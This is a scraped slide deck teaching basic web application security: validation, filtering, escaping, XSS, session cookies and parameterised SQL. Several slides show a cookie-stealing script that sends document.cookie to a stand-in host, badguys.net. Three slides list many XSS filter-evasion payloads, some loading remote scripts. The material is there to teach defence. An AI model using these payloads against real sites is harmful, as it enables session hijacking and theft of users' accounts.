76
Basic Web Application Security

Basic Web Application Security

  • Upload
    tacita

  • View
    29

  • Download
    1

Embed Size (px)

DESCRIPTION

Basic Web Application Security. User Input. Kick Your Arse. Three Ways. (All Awesome). Validation. Passive. (No touchy-touchy). This is a Number. 2. This is not a Number. a. This is really not a Number. alert(‘ loldongs ’). Filtering. Destructive. (One-Way Street). - PowerPoint PPT Presentation

Citation preview

Page 1: Basic Web Application Security

Basic WebApplication

Security

Page 2: Basic Web Application Security

User Input

Page 3: Basic Web Application Security
Page 4: Basic Web Application Security

Kick Your Arse

Page 5: Basic Web Application Security
Page 6: Basic Web Application Security

Three Ways(All Awesome)

Page 7: Basic Web Application Security

Validation

Page 8: Basic Web Application Security

Passive(No touchy-touchy)

Page 9: Basic Web Application Security

This is a Number.

2

Page 10: Basic Web Application Security

This is not a Number.

a

Page 11: Basic Web Application Security

This is really not a Number.

<script>alert(‘loldongs’)</script>

Page 12: Basic Web Application Security

Filtering

Page 13: Basic Web Application Security

Destructive(One-Way Street)

Page 14: Basic Web Application Security

Only letting the good stuff in.

Page 15: Basic Web Application Security

or

Page 16: Basic Web Application Security

Keeping out the bad stuff.

Page 17: Basic Web Application Security

What’s the diff?(Bro.)

Page 18: Basic Web Application Security

Both can be error-prone...

Page 19: Basic Web Application Security

White-Listing Usability Problems

What happens whenyou screw it up?

Black-Listing Security Problems

(Always a trade-off.)

Page 20: Basic Web Application Security

Escaping

Page 21: Basic Web Application Security

TransportPoint A Point B

Page 22: Basic Web Application Security

Data will be the same on both sides.

Page 23: Basic Web Application Security

Different Media,Different Escaping

Page 24: Basic Web Application Security

HTML

<b>Huh.</b>

<p><i>&lt;b&gt;Huh.&lt;/b&gt;</i></p>

<b>Huh</b>

Page 25: Basic Web Application Security

SQL

Sam O’Brien

INSERT INTO mah_peeps (name)VALUES (‘Sam O\’Brien‘);

1, Sam O’Brien, 2010-09-02 18:30:00

Page 26: Basic Web Application Security

XSS(Cross-Site Scripting)

Page 27: Basic Web Application Security

(XTREME Site Scripting)

SS

Page 28: Basic Web Application Security

Sticking Scripts Where They Don’t Belong.

You there, down the back.Stop sniggering.

Page 29: Basic Web Application Security

<script>alert(‘HACKED BY LOLDONGS’)

</script>

Amateurs!

Page 30: Basic Web Application Security

<script>alert(document.cookie)

</script>

Hmm.

Page 31: Basic Web Application Security

<script>document.write(‘<img

src=“http://badguys.net/logthis.php?d=‘+document.cookie+’”

style=“display:none;”>’);</script>

Oh shit.

Page 32: Basic Web Application Security

Why is this uncool?

(Yeah! Why?)

Page 33: Basic Web Application Security

<script>document.write(‘<img

src=“http://badguys.net/logthis.php?d=‘+document.cookie+’”

style=“display:none;”>’);</script>Ooooh shit.

Page 34: Basic Web Application Security

<script>document.write(‘<img

src=“http://badguys.net/logthis.php?d=‘+document.cookie+’”

style=“display:none;”>’);</script>

Oooooooooooh shit.

Page 35: Basic Web Application Security

<script>document.write(‘<img

src=“http://badguys.net/logthis.php?d=‘+document.cookie+’”

style=“display:none;”>’);</script>

Oooooooooooooooooh shit.

Page 36: Basic Web Application Security

Why is this really uncool?

(Because shut up.)

Page 37: Basic Web Application Security

HTTPHyper-Text Thingy I-forgot-again

Page 38: Basic Web Application Security

Stateless

Page 39: Basic Web Application Security

No Idea Who You Are.

Page 40: Basic Web Application Security

It can guess.(Badly.)

IP AddressBrowser User-Agent

Page 41: Basic Web Application Security

Sends a cookie with each request.

(A basket of goodies that the browser sends faithfully every

request.)

Page 42: Basic Web Application Security

The Server puts a unique ID in the basket.

PHPSESSID=123your456mum789

__utma=12948.23.4211414.5553

is_a_furry=1

Page 43: Basic Web Application Security

Browser sends the ID every request.

PHPSESSID=123your456mum789

Page 44: Basic Web Application Security

<script>document.write(‘<img

src=“http://badguys.net/logthis.php?d=‘+document.cookie+’”

style=“display:none;”>’);</script>Look again.

Page 45: Basic Web Application Security

THEY HAVE YOUR COOKIE.

Ooooooooooooooooooooooo-

Page 46: Basic Web Application Security

Preventing Shenanigans

Page 47: Basic Web Application Security

HTML

Validation Really Hard.

Page 48: Basic Web Application Security

HTML

Filtering Still Really Hard.

Use a library, eg. HTML Purifier.

Page 49: Basic Web Application Security

HTML

Escaping Dead Easy.

Most languages have stuff to handle this, eg.

htmlentities(), cgi.escape(), CGI.escape()

Page 50: Basic Web Application Security

How hard is filtering?

(It’s just <script>, right?)

Page 51: Basic Web Application Security

THIS HARD.<IMG SRC=javascript:alert('a')><img src=javascript:alert(&quot;a&quot;)><img “””><script>alert('a')</script>”><IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;><IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29><IMG SRC="jav ascript:alert('a');“>

(Well, then.)

<IMG SRC="jav&#x09;as&#x09cript:alert('XSS');"><IMG SRC="jav&#x0A;ascript:alert('XSS');"><SCR\0IPT>alert('a')</SCR\0IPT><SCRIPT/a SRC="http://foo/x.js"></SCRIPT><img onmouseover!#$%&=alert('a')><<SCRIPT>alert("a");//<</SCRIPT><SC<SCRIPT>RIPT>alert('a');</SC</SCRIPT>RIPT><SC\0RIPT SRC=http://foo/x.js?<B><script src=//foo/x.js><img src=”javascript:alert('a')”

Page 52: Basic Web Application Security

THIS HARD.<iframe src=http://foo/x.html <<body background=”javascript:alert('a')”><BODY ONLOAD=alert('a')><img dynsrc=”javascript:alert('a')”><img lowsrc=”javascript:alert('a')”><BGSOUND SRC=javascript:alert('a')><BR SIZE=”&{alert('a')}”><LAYER SRC=”http://foo/x.html”></LAYER><link rel=”stylesheet” href=”javascript:alert('a');”><XSS STYLE="behavior: url(xss.htc);"><STYLE>BODY{-moz-binding:url("http://foo/x.xml#xss")}</STYLE>

(Well, then.)

<IMG SRC='vbscript:msgbox(“a”)'><img src=”livescript:alert('a')”>žscriptualert(EXSSE)ž/scriptu (US-ASCII encoding evasion)<META HTTP-EQUIV=”refresh” CONTENT=”0;url=javascript:alert('a');”><META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"><FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET><TABLE BACKGROUND="javascript:alert('XSS')">

Page 53: Basic Web Application Security

THIS HARD.<DIV STYLE="background-image: url(javascript:alert('a'))"><DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"><DIV STYLE="background-image: url(&#1;javascript:alert('a'))"><DIV STYLE="width: expression(alert('a'));"><STYLE>@im\port'\ja\vasc\ript:alert("a")';</STYLE><IMG STYLE="xss:expr/*XSS*/ession(alert('a'))">exp/*<A STYLE='no\xss:noxss("*//*");xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("a"))'><STYLE TYPE="text/javascript">alert('a');</STYLE>

(Well, then.)

<STYLE>.x{background-image:url("javascript:alert('a')");}</STYLE><A CLASS=X></A><BASE HREF="javascript:alert('a');//"><OBJECT TYPE="text/x-scriptlet" DATA="http://foo/x.html"></OBJECT><EMBED SRC="http://foo/xss.swf" AllowScriptAccess="always"></EMBED><EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzd....jwvc3ZnPg=="type="image/svg+xml" AllowScriptAccess="always"></EMBED><XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

Page 54: Basic Web Application Security

One more thing about XSS.

(Groan.)

Page 55: Basic Web Application Security

Remember <script>alert()</script>

?(Yes, I do. Shut up.)

Page 56: Basic Web Application Security

alert() can be ANY JAVASCRIPT.

(Yes, and...?)

Page 57: Basic Web Application Security

Do you have any forms on your page?

(Yes.)

Page 58: Basic Web Application Security

Do you have any javascript functions your site uses to do anything

useful?(... Yes.)

Page 59: Basic Web Application Security

Do your site make any AJAX calls to do anything useful?

(... Oh.)

Page 60: Basic Web Application Security

That injected code can trigger forms, run

javascript functions, or make AJAX calls.

(... Oooooh.)

Page 61: Basic Web Application Security

Send someone to a link that looks like:

http://my.site/?user=<script>doStuff();</script>

(... Oooooooooh.)

Page 62: Basic Web Application Security

Or store something that will output this on someone’s profile

page:

<script>doStuff();</script>

(... Oooooooooooooooh.)

Page 63: Basic Web Application Security

... And you’re hosed.

(Shit.)

Page 64: Basic Web Application Security

The Human Element

Touchy-Feely Commie Bullshit.

Page 65: Basic Web Application Security

We are very fallible.

Page 66: Basic Web Application Security

We will forget things.

Page 67: Basic Web Application Security

When time gets short, we take the easy path.

Page 68: Basic Web Application Security

Design systems so that they naturally

encourage security.

Page 69: Basic Web Application Security

SQL

Insert(“INSERT INTOposts VALUES

(‘”.sql_safe($title).”’, ‘“.sql_safe($content).”’,

‘”.sql_safe($author).”’)”);

Page 70: Basic Web Application Security

SQL

or

Page 71: Basic Web Application Security

SQL

insert(“INSERT INTOposts VALUES

(:title, :content, :author)”,$title, $content, $author);

Page 72: Basic Web Application Security

HTML

<h3><%= title %> - <%= date %><h3><div><%= raw(post_body) %></div><p>Written by <%= author %></p>

Page 73: Basic Web Application Security

HTML

or

Page 74: Basic Web Application Security

HTML

<h3><?=htmlentities($title);?> - <?=htmlentities(date);?><h3>

<div><?=$post_body;?></div><p>Written by <?

=htmlentities($author);?></p>

Page 75: Basic Web Application Security

Questions?

Page 76: Basic Web Application Security

Now get out.